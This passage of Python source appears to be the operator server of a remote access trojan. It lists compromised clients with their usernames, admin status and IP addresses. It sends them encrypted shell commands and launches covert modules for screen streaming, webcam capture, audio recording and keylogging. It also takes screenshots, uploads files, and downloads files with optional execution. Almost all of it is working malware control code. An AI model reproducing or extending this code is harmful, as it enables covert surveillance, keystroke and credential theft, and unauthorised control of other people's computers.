						if conn is not None:
							self.session(conn)
					except:
						print(f'{self.theme[2]}\'{shell_msg[8:]}\' is not a valid session.\n{Style.RESET_ALL}')

				# Client
				elif shell_msg[:6] == 'client':
					try:
						args = shell_msg.split()
						target = int(args[1])
						cmd = ' '.join(args[2:])
						out = f'{self.theme[2]}{Server.usernames[target]}[{Style.RESET_ALL}{self.theme[3]}{target}{Style.RESET_ALL}{self.theme[2]}] ADMIN[{Style.RESET_ALL}{self.theme[3]}{Server.priveldges[target]}{Style.RESET_ALL}{self.theme[2]}] IP[{Style.RESET_ALL}{self.theme[3]}{Server.addresses[target][0]}{Style.RESET_ALL}{self.theme[2]}] PORT[{Style.RESET_ALL}{self.theme[3]}{Server.addresses[target][1]}{Style.RESET_ALL}{self.theme[2]}]{Style.RESET_ALL}'
						out_length = len(str(target) + Server.usernames[target] + str(Server.priveldges[target]) + Server.addresses[target][0] + str(Server.addresses[target][1]) + '[] ADMIN[] IP[] PORT[]')
						print(f'{out}{self.theme[3]}\n{"-" * out_length}{Style.RESET_ALL}')
						self.session(self.getConn(target), True, cmd)
					except:
						if len(Server.connections) == 0:
							print(f'{self.theme[1]}No clients connected\n\n{Style.RESET_ALL}', end='')
						else:
							print(f'{self.theme[1]}Something went wrong, please try again.\n\n{Style.RESET_ALL}', end='')		

				# Delete
				elif shell_msg[:3] == 'del':
					try:
						if shell_msg[4:] == '*':
							if len(Server.connections) == 0:
								print(f'{self.theme[1]}No clients connected\n\n{Style.RESET_ALL}', end='')
							else:
								self.delete_client(':', '*')
								print(f'{self.theme[2]}All connections deleted!\n\n{Style.RESET_ALL}', end='')
						else:
							self.delete_client(int(shell_msg[4:]), Server.usernames[int(shell_msg[4:])])
							print(f'{self.theme[2]}Connection ({Style.RESET_ALL}{self.theme[3]}{shell_msg[4:]}{Style.RESET_ALL}{self.theme[2]}) deleted!\n\n{Style.RESET_ALL}', end='')
					except:
						print(f'{self.theme[2]}\'{shell_msg[4:]}\' is not a valid connection to delete.\n\n{Style.RESET_ALL}', end='')
				
				# Options
				elif shell_msg == 'options':
					if len(self.email_notice[3]) > 0:
						emails_connector = ', '
					else:
						emails_connector = ''

					quick_mode = False
					if self.history is False and self.whoami is False and self.email_notice[0] is False:
						quick_mode = True
						
					if self.email_notice[0]:
						email_info_notice = f'  - Email Notice: True\n    - Email: {self.email_notice[1]}\n    - Password: {self.email_notice[2]}\n    - To: ({self.email_notice[1]}){emails_connector}{", ".join(self.email_notice[3])}'
					else:
						email_info_notice = f'  - Email Notice: False\n    - Email: {self.theme[1]}(Unused: {self.email_notice[1]}){Style.RESET_ALL}{self.theme[2]}\n    - Password: {Style.RESET_ALL}{self.theme[1]}(Unused: {self.email_notice[2]}){Style.RESET_ALL}{self.theme[2]}\n    - To: {Style.RESET_ALL}{self.theme[1]}(Unused: ({self.email_notice[1]}){emails_connector}{", ".join(self.email_notice[3])}){Style.RESET_ALL}'
					module_ports_keys = ('Stream', 'Cam', 'Audio', 'Keylogger', 'Talk')
					module_ports_data = ''
					for index, moudle_port in enumerate(self.module_ports):
						module_ports_data += f'\n    {self.theme[2]}- {module_ports_keys[index]}:{Style.RESET_ALL} {self.theme[1]}(Constant: {moudle_port}){Style.RESET_ALL}'
					print(f'{self.theme[1]}Options Available:{Style.RESET_ALL}{self.theme[2]}\n  - IP: {Style.RESET_ALL}{self.theme[1]}(Constant: {self.ip}){Style.RESET_ALL}{self.theme[2]}\n  - PORT: {Style.RESET_ALL}{self.theme[1]}(Constant: {self.port}){Style.RESET_ALL}{self.theme[2]}\n  - MODULE PORTS:{Style.RESET_ALL} {module_ports_data}{Style.RESET_ALL}{self.theme[2]}\n  - Quick Mode: {quick_mode}\n  - Username: {self.username}\n  - Theme: {self.theme[-1]}\n  - Encoding: {self.encoding}\n  - History: {self.history}\n  - Whoami: {self.whoami}\n  - Notice: {self.console_notice}\n  - Duplicates: {self.duplicates}\n{email_info_notice}\n{Style.RESET_ALL}')

				# Set options
				elif shell_msg[:3] == 'set':
					try:
						value = shell_msg[4:].split('=')
						assert len(value) == 2
						getVal = value[0].lower().strip()
						setVal = value[1].strip()
						result = f'{self.theme[2]}Option successfully set:{Style.RESET_ALL} {self.theme[1]}{" ".join([x.capitalize().strip() for x in value[0].split()])}='
						
						# Quick mode
						if getVal == 'quick mode':
							output_bool = False
							if setVal == 'true':
								output_bool = True
								self.history = False
								self.whoami = False
								self.email_notice[0] = False
							elif setVal == 'false':
								self.history = True
								self.whoami = True
							else:
								raise Exception('Something went wrong.')  
							result += str(output_bool)

						# Username
						elif getVal == 'username':
							self.username = set_username(setVal)
							result += self.username

						# Theme
						elif getVal == 'theme':
							self.theme = set_theme(setVal)
							result += self.theme[-1]

						# Encoding
						elif getVal == 'encoding':
							self.encoding = set_encoding(setVal)
							result += self.encoding

						# History
						elif getVal == 'history':
							if setVal == 'true':
								self.history = True
							elif setVal == 'false':
								self.history = False
							else:
								raise Exception('Something went wrong.')         
							result += str(self.history)

						# Whoami
						elif getVal == 'whoami':
							if setVal == 'true':
								self.whoami = True
							elif setVal == 'false':
								self.whoami = False
							else:
								raise Exception('Something went wrong.')         
							result += str(self.whoami)

						# Console notice
						elif getVal == 'notice':
							if setVal == 'true':
								self.console_notice = True
							elif setVal == 'false':
								self.console_notice = False
							else:
								raise Exception('Something went wrong.')         
							result += str(self.console_notice)
						
						# Duplicates
						elif getVal == 'duplicates':
							if setVal == 'true':
								self.duplicates = True
							elif setVal == 'false':
								self.duplicates = False
							else:
								raise Exception('Something went wrong.')         
							result += str(self.duplicates)

						# Email notice
						elif getVal == 'email notice':
							if setVal == 'true':
								self.email_notice[0] = True
							elif setVal == 'false':
								self.email_notice[0] = False
							else:
								raise Exception('Something went wrong.')
							result += str(self.email_notice[0])

						elif getVal == 'email':
							if '@' in setVal:
								self.email_notice[1] = setVal
								result += self.email_notice[1]
							else:
								raise Exception('Something went wrong.')

						elif getVal == 'password':
							if len(setVal) > 0:
								self.email_notice[2] = setVal
								result += self.email_notice[2]
							else:
								raise Exception('Something went wrong.')

						elif getVal == 'to':
							if len(setVal) > 0:
								self.email_notice[3] = setVal.split(',')
								result += ', '.join(self.email_notice[3])
							else:
								raise Exception('Something went wrong.')

						else:
							print(f'{self.theme[2]}Option failed to be set:{Style.RESET_ALL} {self.theme[1]}{getVal.capitalize()} option not found.\n')
							continue
						
						print(f'{result}\n{Style.RESET_ALL}')
					except:
						print(f'{self.theme[2]}Option failed to be set:{Style.RESET_ALL} {self.theme[1]}Something went wrong.\n{Style.RESET_ALL}')    
				
				# Time
				elif shell_msg == 'time':
					print(f'{self.theme[2]}Start time: [{Style.RESET_ALL}{self.theme[0]}{Server.runningTime}{Style.RESET_ALL}{self.theme[2]}]{Style.RESET_ALL}')
					print(f'{self.theme[2]}Current time: [{Style.RESET_ALL}{self.theme[1]}{timer()}{Style.RESET_ALL}{self.theme[2]}]\n{Style.RESET_ALL}')

				# Banner
				elif shell_msg == 'banner':
					banner(self.theme)

				# Clear
				elif shell_msg == 'clear' or shell_msg == 'cls':
					clear_screen()
 
				# Exit
				elif shell_msg == 'exit' or shell_msg == 'quit':
					self.delete_client(':', '*')
					print(f'{self.theme[2]}Program start: [{Style.RESET_ALL}{self.theme[3]}{Server.runningTime}{Style.RESET_ALL}{self.theme[2]}]{Style.RESET_ALL}')
					print(f'{self.theme[2]}Program end: [{Style.RESET_ALL}{self.theme[1]}{timer()}{Style.RESET_ALL}{self.theme[2]}]\n{Style.RESET_ALL}')
					print(f'{self.theme[4]}Bye!{Style.RESET_ALL}')
					os._exit(0)

				else:
					print(f'{self.theme[2]}\'{shell_msg}\' is not a valid input.\n\n{Style.RESET_ALL}', end='')
			except KeyboardInterrupt:
				print(f'{self.theme[4]}Keyboard interrupt{Style.RESET_ALL}')


	"""
		Session provides the program with all the functionality,
		takes care of modules & special commands. It allows you
		to establish an reverse shell with the built in tools.
		But it also allows you to use one command & get the output
		& print out the result.
	"""
	def session(self, conn, target=None, message=None, stdout=True):
		# Filter client
		Server.filter_client = conn[1][1]
		Server.sessionTime = timer()

		if target is None:
			clear_screen()
			print(f'{self.theme[1]}Connection to {Style.RESET_ALL}{self.theme[2]}{conn[2]}{Style.RESET_ALL}{self.theme[1]}\'s computer has been established!{Style.RESET_ALL}', end='')

		while True:
			try:
				# Session input
				if target is None:
					if Server.session_clear_screen:
						Server.session_clear_screen = False
						print(f'{self.theme[2]}{conn[2]}>{Style.RESET_ALL}{self.theme[3]}', end='')
					else:
						print(f'\n\n{self.theme[2]}{conn[2]}>{Style.RESET_ALL}{self.theme[3]}', end='')
					msg = readInput(self.encoding, Server.keep_alive_timer * 2)
				else:
					msg = message
				Server.msg = msg
				if Server.msg.lower() == 'stream':
					Server.msg = f'stream {self.ip}:{self.module_ports[0]}'
				elif Server.msg[:3].lower() == 'cam' and len(Server.msg.split()) == 3:
					args = Server.msg.split()
					Server.msg = f'cam {self.ip}:{self.module_ports[1]} {args[1]} {args[2]}'
				elif Server.msg.lower() == 'audio':
					Server.msg = f'audio {self.ip}:{self.module_ports[2]}'
				elif Server.msg.lower() == 'keylogger':
					Server.msg = f'keylogger {self.ip}:{self.module_ports[3]}'
				elif Server.msg.lower() == 'talk':
					Server.msg = f'talk {self.ip}:{self.module_ports[4]}'
				# Stdout msg
				stdout_save = Server.msg
				# Save stdout
				if Server.msg[-5:].lower() == '-b -i' or Server.msg[-5:].lower() == '-i -b':
					Server.msg = Server.msg[:-6]
				elif Server.msg[-2:].lower() == '-b' or Server.msg[-2:].lower() == '-i':
					Server.msg = Server.msg[:-3]
				pickled_msg = pickle.dumps({'message': Server.msg})
				compressed_msg = zlib.compress(pickled_msg, 1)
				encrypted_msg = Server.encrypt.do_encrypt(compressed_msg)
				final_msg = bytes(f'{len(encrypted_msg):<{Server.headersize}}', self.encoding) + encrypted_msg

				# Running modules
				if Server.msg.lower() == 'running':
					print(f'{self.theme[1]}Modules Running:\n  - Stream: {stream_info()}\n  - Cam: {cam_info()}\n  - Audio: {audio_info()}\n  - Keylogger: {keylogger_info()}\n  - Talk: {talk_info()}{Style.RESET_ALL}', end='')
					if target is None:
						continue
					else:
						Server.filter_client = None
						break

				# Stream
				elif Server.msg[:6].lower() == 'stream':
					try:
						if Server.msg[7:11].lower() == 'kill':
							try:
								print(f'{self.theme[1]}{set_stream_settings(Server.msg[12:])}{Style.RESET_ALL}', end='')
							except:
								print(f'{self.theme[1]}Failed to kill stream.{Style.RESET_ALL}', end='')
							if target is None:
								continue
							else:
								Server.filter_client = None
								break

						dirs = ['Data', f'Data/{conn[2]}', f'Data/{conn[2]}/Stream']
						setup_directory(dirs)
						threading.Thread(target=Stream, args=[self.encoding, f'{os.getcwd()}/Data/{conn[2]}/Stream', conn[2]], daemon=True).start()
					except:
						print(f'{self.theme[1]}Stream failed to run (server).{Style.RESET_ALL}', end='')
						if target is None:
							continue
						else:
							Server.filter_client = None
							break

				# Cam
				elif Server.msg[:3].lower() == 'cam':
					try:
						if Server.msg[4:8].lower() == 'kill':
							print(f'{self.theme[1]}{set_cam_settings(Server.msg[9:])}{Style.RESET_ALL}\n')
							if target is None:
								continue
							else:
								Server.filter_client = None
								break

						args = Server.msg[4:].split()
						cam_size = args[2].split(',')
						address = args[0].split(':')
						assert len(Server.msg.split()) == 4 and len(cam_size) == 2 and len(address) == 2
						cam_size = tuple([int(cam_size[0]), int(cam_size[1])])
						dirs = ['Data', f'Data/{conn[2]}', f'Data/{conn[2]}/Cam']
						setup_directory(dirs)
						threading.Thread(target=Cam, args=[self.encoding, f'{os.getcwd()}/Data/{conn[2]}/Cam', conn[2], cam_size], daemon=True).start()
					except:
						print(f'{self.theme[1]}Cam failed to run (server).{Style.RESET_ALL}\n')
						if target is None:
							continue
						else:
							Server.filter_client = None
							break

				# Audio
				elif Server.msg[:5].lower() == 'audio':
					try:
						if Server.msg[6:10].lower() == 'kill':
							print(f'{self.theme[1]}{set_audio_settings(Server.msg[11:])}{Style.RESET_ALL}', end='')
							if target is None:
								continue
							else:
								Server.filter_client = None
								break

						dirs = ['Data', f'Data/{conn[2]}', f'Data/{conn[2]}/Audio']
						setup_directory(dirs)
						threading.Thread(target=Audio, args=[self.encoding, f'{os.getcwd()}/Data/{conn[2]}/Audio', conn[2]], daemon=True).start()
					except:
						print(f'{self.theme[1]}Audio failed to run (server).{Style.RESET_ALL}', end='')
						if target is None:
							continue
						else:
							Server.filter_client = None
							break

				# Keylogger
				elif Server.msg[:9].lower() == 'keylogger':
					try:
						if Server.msg[10:14].lower() == 'kill':
							print(f'{self.theme[1]}{set_keylogger_settings(Server.msg[15:])}{Style.RESET_ALL}', end='')
							if target is None:
								continue
							else:
								Server.filter_client = None
								break
						elif Server.msg[10:14].lower() == 'text':
							try:
								data = get_logs(int(Server.msg[15:]))
								print(f'{self.theme[1]}{data[1]}{Style.RESET_ALL}', end='')
							except:
								print(f'{self.theme[1]}Failed to type logs.{Style.RESET_ALL}', end='')
							if target is None:
									continue
							else:
								Server.filter_client = None
								break
						elif Server.msg[10:15].lower() == 'image':
							try:
								data = get_logs(int(Server.msg[16:]))
								assert data[0] is not None
								dirs = ['Data', f'Data/{data[0]}', f'Data/{data[0]}/Keylogger', f'Data/{data[0]}/Keylogger/Images']
								setup_directory(dirs)
								fn = time.strftime('%Y-%m-%d (%H-%M-%S).png')
								image = text_image(data[1])
								image.show()
								image.save(f'{os.getcwd()}/{dirs[-1]}/{fn}')
								print(f'{self.theme[1]}Logs visualization complete!{Style.RESET_ALL}', end='')
							except:
								print(f'{self.theme[1]}Failed to visualize logs.{Style.RESET_ALL}', end='')
							if target is None:
								continue
							else:
								Server.filter_client = None
								break

						dirs = ['Data', f'Data/{conn[2]}', f'Data/{conn[2]}/Keylogger']
						setup_directory(dirs)
						threading.Thread(target=Keylogger, args=[self.encoding, f'{os.getcwd()}/Data/{conn[2]}/Keylogger', conn[2]], daemon=True).start()
					except:
						print(f'{self.theme[1]}Keylogger failed to run (server).{Style.RESET_ALL}', end='')
						if target is None:
							continue
						else:
							Server.filter_client = None
							break

				# Talk
				elif Server.msg[:4].lower() == 'talk':
					try:
						if Server.msg[5:9].lower() == 'kill':
							print(f'{self.theme[1]}{set_talk_settings(Server.msg[10:])}{Style.RESET_ALL}', end='')
							if target is None:
								continue
							else:
								Server.filter_client = None
								break

						dirs = ['Data', f'Data/{conn[2]}', f'Data/{conn[2]}/Talk']
						setup_directory(dirs)
						threading.Thread(target=Talk, args=[self.encoding, f'{os.getcwd()}/Data/{conn[2]}/Talk', conn[2]], daemon=True).start()
					except:
						print(f'{self.theme[1]}Talk failed to run (server).{Style.RESET_ALL}', end='')
						if target is None:
							continue
						else:
							Server.filter_client = None
							break

				# Upload
				if Server.msg[:6].lower() == 'upload':
					try:
						dirs = ['Data', 'Uploads']
						setup_directory(dirs)
						args = Server.msg[7:]
						if Server.msg[-2:].lower() == '-e':
							args = Server.msg[7:-3]
						with open(f'{os.getcwd()}/{dirs[-1]}/{args}', 'rb') as f:
							pickled_msg = pickle.dumps({'message': Server.msg, 'image': f.read()})
							compressed_msg = zlib.compress(pickled_msg, 1)
							encrypted_msg = Server.encrypt.do_encrypt(compressed_msg) 
							final_msg = bytes(f'{len(encrypted_msg):<{Server.headersize}}', self.encoding) + encrypted_msg
							conn[0].send(final_msg)
					except:
						print(f'{self.theme[1]}Uploading {args} failed, please try again.{Style.RESET_ALL}', end='')
						if target is None:
							continue
						else:
							print('\n')
							Server.filter_client = None
							break

				# Note
				elif Server.msg[:4].lower() == 'note':
					try:
						note = Server.msg[5:].split('=>')
						assert len(note) == 2
						if note[0] == '':
							note[0] = 'global'
						if note[1] == '':
							raise Exception('Note message is empty.')
						dirs = ['Data', f'Data/{conn[2]}', f'Data/{conn[2]}/Notes']
						setup_directory(dirs)
						with open(f'{os.getcwd()}/{dirs[-1]}/{note[0].strip()}.txt', 'a') as f:
							f.write(f'{note[1].strip()}    [{time.strftime("%Y-%m-%d %H:%M-%S")}]\n')
						print(f'{self.theme[1]}Note{Style.RESET_ALL}{self.theme[3]} {note[0].strip()}.txt{Style.RESET_ALL}{self.theme[1]} written to complete!', end='')
					except:
						print(f'{self.theme[1]}Writing note failed, please try again.', end='')
					if target is None:
						continue
					else:
						print('\n')
						Server.filter_client = None
						break
				
				# Whoami
				elif Server.msg.lower() == 'whoami':
					info = ''
					for typez, item in conn[4]:
						info += f'\n{self.theme[1]}{typez}: {Style.RESET_ALL}{self.theme[3]}{item}{self.theme[1]}'
					print(f'{self.theme[1]}USER: {self.theme[3]}{conn[2]}{Style.RESET_ALL}{self.theme[1]}\nADMIN: {self.theme[3]}{conn[3]}{Style.RESET_ALL}{self.theme[1]}\nIP: {Style.RESET_ALL}{self.theme[3]}{conn[1][0]}{Style.RESET_ALL}{self.theme[1]}\nPORT: {Style.RESET_ALL}{self.theme[3]}{conn[1][1]}{Style.RESET_ALL}{info}', end='')
					if target is None:
						continue
					else:
						print('\n')
						Server.filter_client = None
						break
					
				# Session time
				elif Server.msg.lower() == 'time':
					print(f'{self.theme[1]}Session Start: [{Style.RESET_ALL}{self.theme[0]}{Server.sessionTime}{Style.RESET_ALL}{self.theme[1]}]{Style.RESET_ALL}')
					print(f'{self.theme[1]}Current time: [{Style.RESET_ALL}{self.theme[2]}{timer()}{Style.RESET_ALL}{self.theme[1]}]{Style.RESET_ALL}', end='')
					if target is None:
						continue
					else:
						print('\n')
						Server.filter_client = None
						break

				# Clear
				elif Server.msg.lower() == 'clear' or Server.msg.lower() == 'cls':
					clear_screen()
					if target is None:
						Server.session_clear_screen = True
						continue
					else:
						Server.filter_client = None
						break
				
				# Exit
				elif Server.msg.lower() == 'exit' or Server.msg.lower() == 'quit':
					print(f'{self.theme[2]}Session start: [{Style.RESET_ALL}{self.theme[0]}{Server.runningTime}{Style.RESET_ALL}{self.theme[2]}]{Style.RESET_ALL}')
					print(f'{self.theme[2]}Session end: [{Style.RESET_ALL}{self.theme[1]}{timer()}{Style.RESET_ALL}{self.theme[2]}]\n{Style.RESET_ALL}')
					print(f'{self.theme[4]}{conn[2]}\'s session quit successfully!\n{Style.RESET_ALL}')
					# Reset filter client
					Server.filter_client = None
					break

				# Send to client
				else:
					conn[0].send(final_msg)

				# Receive from client
				while True:
					# Recived buffer
					client_msg = conn[0].recv(81920)

					# New msg
					if Server.new_msg:
						Server.msg_len = int(client_msg[:Server.headersize])
						Server.new_msg = False

					# Append to full_msg
					Server.full_msg += client_msg

					# Recived full msg
					if len(Server.full_msg)-Server.headersize == Server.msg_len:
						decrypted_msg = Server.encrypt.do_decrypt(Server.full_msg[Server.headersize:])
						decompressed_msg = zlib.decompress(decrypted_msg)
						client_msg = pickle.loads(decompressed_msg)['message'].replace('ÿ', ' ')
						pickled_data = pickle.loads(decompressed_msg)
						result = f'{self.theme[1]}{client_msg}{Style.RESET_ALL}'

						# Download
						if Server.msg[:8].lower() == 'download':
							try:
								assert pickled_data['download']
								dirs = ['Data', f'Data/{conn[2]}', f'Data/{conn[2]}/Downloads']
								setup_directory(dirs)
								args = Server.msg[9:]
								if Server.msg[-2:].lower() == '-e':
									args = Server.msg[9:-3]
								with open(f'{os.getcwd()}/{dirs[-1]}/{args}', 'wb') as f:
									f.write(pickled_data['download'])
								if Server.msg[-2:].lower() == '-e':
									Popen(f'{os.getcwd()}/{dirs[-1]}/{args}', shell=True, stdin=PIPE, stdout=PIPE, stderr=PIPE)
							except:
								pass
							finally:
								print(result, end='')
						
						# Download screenshot
						elif Server.msg.lower() == 'screenshot' or Server.msg.lower() == 'screenshot -s':
							try:
								dirs = ['Data', f'Data/{conn[2]}', f'Data/{conn[2]}/Screenshots']
								setup_directory(dirs)
								fn = time.strftime('%Y-%m-%d (%H-%M-%S).png')
								img = Image.fromarray(pickled_data['screenshot'], 'RGB')
								img.save(f'{os.getcwd()}/{dirs[-1]}/{fn}')
								if Server.msg[-2:].lower() == '-s':
									img.show()
							except:
								pass
							finally:
								print(result, end='')
						
						# Download webcam screenshot
						elif Server.msg[:6].lower() == 'webcam':
							try:
								dirs = ['Data', f'Data/{conn[2]}', f'Data/{conn[2]}/Webcam']
								setup_directory(dirs)
								fn = time.strftime('%Y-%m-%d (%H-%M-%S).png') 
								img = Image.fromarray(pickled_data['webcam'])
								b, g, r = img.split()
								img = Image.merge('RGB', (r, g, b))
								img.save(f'{os.getcwd()}/{dirs[-1]}/{fn}')
								if Server.msg[-2:].lower() == '-s':
									img.show()
							except:
								pass
							finally:
								print(result, end='')

						# Save stdout & as an image
						elif stdout_save[-5:].lower() == '-b -i' or stdout_save[-5:].lower() == '-i -b':
							try:
								dirs = ['Data', f'Data/{conn[2]}', f'Data/{conn[2]}/Stdout', f'Data/{conn[2]}/Stdout', f'Data/{conn[2]}/Stdout/Images']
								setup_directory(dirs)
								fn = time.strftime('%Y-%m-%d (%H-%M-%S)')
								# Text
								with open(f'{os.getcwd()}/{dirs[-2]}/{stdout_save[:-6]}--{fn}.txt', 'wb') as f:
									f.write(bytes(client_msg, self.encoding))
								# Image
								image = text_image(client_msg)
								image.show()
								image.save(f'{os.getcwd()}/{dirs[-1]}/{stdout_save[:-6]}--{fn}.png')
								print(result, end='')
							except:
								print(f'{self.theme[1]}Failed to backup command & image result.\n\n{Style.RESET_ALL}', end='')

						# Save stdout
						elif stdout_save[-2:].lower() == '-b':
							try:
								dirs = ['Data', f'Data/{conn[2]}', f'Data/{conn[2]}/Stdout']
								setup_directory(dirs)
								fn = time.strftime('%Y-%m-%d (%H-%M-%S).txt')
								with open(f'{os.getcwd()}/{dirs[-1]}/{stdout_save[:-3]}--{fn}', 'wb') as f:
									f.write(bytes(client_msg, self.encoding))
								print(result, end='')
							except:
								print(f'{self.theme[1]}Failed to backup command result.\n\n{Style.RESET_ALL}', end='')
						
						# Save stdout as an image
						elif stdout_save[-2:].lower() == '-i':
							try:
								dirs = ['Data', f'Data/{conn[2]}', f'Data/{conn[2]}/Stdout', f'Data/{conn[2]}/Stdout/Images']
								setup_directory(dirs)
								fn = time.strftime('%Y-%m-%d (%H-%M-%S).png')
								image = text_image(client_msg)
								image.show()
								image.save(f'{os.getcwd()}/{dirs[-1]}/{stdout_save[:-3]}--{fn}')
								print(result, end='')
							except:
								print(f'{self.theme[1]}Failed to backup image result.\n\n{Style.RESET_ALL}', end='')

						# Print stdout
						else:
							if stdout:
								print(result, end='')

						# Reset
						Server.new_msg = True
						Server.msg_len = 0
						Server.full_msg = b''
						break
			except KeyboardInterrupt:
				print(f'{self.theme[4]}Keyboard interrupt{Style.RESET_ALL}')
				if target is None:
					continue
				else:
					break
			except TimeoutError:
				print(f'{self.theme[4]}Your session has timed out, because of inactivity,\nor by having submitted an empty response.\n{Style.RESET_ALL}')
				# Reset filter client
				Server.filter_client = None
				break
			except KeyError:
				# Reset filter client
				Server.filter_client = None
				break
			except:
				if stdout:
					print(f'{self.theme[0]}Session start: [{Server.sessionTime}]{Style.RESET_ALL}{Style.RESET_ALL}')
					print(f'{self.theme[1]}Session end: [{timer()}]{Style.RESET_ALL}')
					print(f'{self.theme[4]}\nLost connection to client\n{Style.RESET_ALL}')
				# Reset filter client
				Server.filter_client = None
				if target is not None:
					return True
				break
			if target is not None:
				if stdout:
					print(end='\n\n')
				Server.filter_client = None
				break


	"""
		To send simple text message, not handling for
		any modules or special commands like screenshot
		or download. 
	"""
	def send_message(self, conn, message):
		pickled_msg = pickle.dumps({'message': message})
		compressed_msg = zlib.compress(pickled_msg, 1)
		encrypted_msg = Server.encrypt.do_encrypt(compressed_msg)
		final_msg = bytes(f'{len(encrypted_msg):<{Server.headersize}}', self.encoding) + encrypted_msg
		conn.send(final_msg)

		while True:
			# Recived buffer
			client_msg = conn.recv(81920)

			# New msg
			if Server.new_msg:
				Server.msg_len = int(client_msg[:Server.headersize])
				Server.new_msg = False

			# Append to full_msg
			Server.full_msg += client_msg

			# Recived full msg
			if len(Server.full_msg)-Server.headersize == Server.msg_len:
				decrypted_msg = Server.encrypt.do_decrypt(Server.full_msg[Server.headersize:])
				decompressed_msg = zlib.decompress(decrypted_msg)
				client_msg = pickle.loads(decompressed_msg)['message']

				# Reset
				Server.new_msg = True
				Server.msg_len = 0
				Server.full_msg = b''
				return client_msg


	"""
		Doesn't skip printing out connection if an index is cut out of the list,
		it also handles for long list. It handles for no connections & removing 
		dead connections. It also displays the correct index even after deleting
		a connection before others in the list.

		To achieve this:
			* Set connection no None
			* Set index to -1 for every deleted connection
			* Handle for long flag
			* Handle for 0 connections
	"""
	def list_connections(self, l):
		len_conns = len(Server.connections)
		results = ''
		i = 0
		for index, conn in enumerate(Server.connections):
			index += i
			try:
				x = self.session(self.getConn(index), True, 'aij4oaw4orn12u9w5ar7', False)
				if x is not None:
					raise Exception('Connection Error')
				info = ''

				if l:
					for typez, item in Server.information[index]:
						info += f'\n{self.theme[2]}{typez}{Style.RESET_ALL}{self.theme[2]}[{Style.RESET_ALL}{self.theme[3]}{item}{self.theme[2]}]'

					if l and len_conns > 1:
						info += '\n'

				results += f'{self.theme[2]}{Server.usernames[index]}[{Style.RESET_ALL}{self.theme[3]}{index}{Style.RESET_ALL}{self.theme[2]}] ADMIN[{Style.RESET_ALL}{self.theme[3]}{Server.priveldges[index]}{Style.RESET_ALL}{self.theme[2]}] IP[{Style.RESET_ALL}{self.theme[3]}{Server.addresses[index][0]}{Style.RESET_ALL}{self.theme[2]}] PORT[{Style.RESET_ALL}{self.theme[3]}{Server.addresses[index][1]}{Style.RESET_ALL}{self.theme[2]}]{Style.RESET_ALL}{info}\n'
			except:
				Server.connections[index] = None
				len_conns -= 1
				i -= 1

		for i, conn in enumerate(Server.connections):
			if conn is None:
				self.delete_client(i, Server.usernames[i])

		counter = f'{self.theme[2]}Number of connected clients ({Style.RESET_ALL}{self.theme[3]}{len_conns}{Style.RESET_ALL}{self.theme[2]})\n{Style.RESET_ALL}{self.theme[3]}{"-" * (30 + len(str(len_conns)))}\n{Style.RESET_ALL}'

		if len_conns == 0:
			results = f'{results}{self.theme[1]}No clients connected\n{Style.RESET_ALL}'

		if l and len_conns > 1:
			print(f'{self.theme[2]}{counter}{results}{Style.RESET_ALL}', end='')      
		else:
			print(f'{self.theme[2]}{counter}{results}{Style.RESET_ALL}')
		

	"""
		Delete client is a vital method to clean up & remove
		any unwanted connection, it's used all throughout the
		program if the connection is lost or is wanted to be closed.
	"""
	def delete_client(self, index, user):
		if self.history:
			now = time.strftime('%Y-%m-%d (%H-%M-%S)')

			if user == '*':
				for i, conn in enumerate(Server.connections):
					dirs = ['Data', f'Data/{Server.usernames[i]}']
					setup_directory(dirs)
					with open(f'{os.getcwd()}/Data/{Server.usernames[i]}/History.txt', 'a') as f:
						msg = f'DISCONNECTED: ({now})'
						f.write(f'{msg}\n{"-" * len(msg)}\n')
			else:
				dirs = ['Data', f'Data/{user}']
				setup_directory(dirs)
				with open(f'{os.getcwd()}/Data/{user}/History.txt', 'a') as f:
					msg = f'DISCONNECTED: ({now})'
					f.write(f'{msg}\n{"-" * len(msg)}\n')
		
		if self.console_notice:
			now = time.strftime('%H:%M')
			msg = ''
			if user == '*' or index == ':':
				msg = 'All clients disconnected.'
			else:
				msg = f'{Server.usernames[index]} Disconnected. ({now})\nAddress: {Server.addresses[index][0]}:{Server.addresses[index][1]}'
			now = time.strftime('%H:%M')				
			Server.toaster.show_toast('Disconnection Notice!', msg, icon_path=None, duration=5, threaded=True)

		if index == ':':
			for connection in Server.connections:
				connection.close()
			del Server.connections[:]
			del Server.addresses[:]
			del Server.usernames[:]
			del Server.priveldges[:]
			del Server.information[:]
		else:
			try:
				Server.connections[index].close()
			except:
				pass
			del Server.connections[index]
			del Server.addresses[index]
			del Server.usernames[index]
			del Server.priveldges[index]
			del Server.information[index]


	"""
		GetConn provides the complete data available for
		a specific user with the index as the only criteria.
		This method is passed in when calling session for
		user specific interaction.
	"""
	def getConn(self, target):
		conn = Server.connections[target]
		addr = Server.addresses[target]
		username = Server.usernames[target]
		privledge = Server.priveldges[target]
		info = Server.information[target]
		return (conn, addr, username, privledge, info)


	"""
		KeepAlive provides data to be sent to every client in
		order to prevent the socket being closed after inactivity.
		This is vital especially when dealing with multiple clients
		& would be alot of effort to keep them all alive manually.
		Without this method most Windows sockets close after 10 minutes
		of inactivity.
	"""
	def keepAlive(self):
		while True:
			counter = 0

			while counter < Server.keep_alive_timer:
				time.sleep(1)
				counter += 1
			
				if counter == Server.keep_alive_timer:
					for index, conn in enumerate(Server.connections):
						if Server.addresses[index][1] != Server.filter_client:
							try:
								self.send_message(conn, 'aij4oaw4orn12u9w5ar7')
							except:
								self.delete_client(index, Server.usernames[index])
					break


	"""
		These three methods is simply queuing up & threading
		the main methods of the Server class to work asynchronously. 
	"""
	def workers(self):
		for _ in range(Server.threads):
			threading.Thread(target=self.work, daemon=True).start()


	def work(self):
		while True:
			work = Server.q.get()
			if work == 1:
				self.listen()
				self.accept()
			if work == 2:
				self.shell()
			Server.q.task_done()


	def create_jobs(self):
		for job in Server.jobs:
			Server.q.put(job)
		Server.q.join()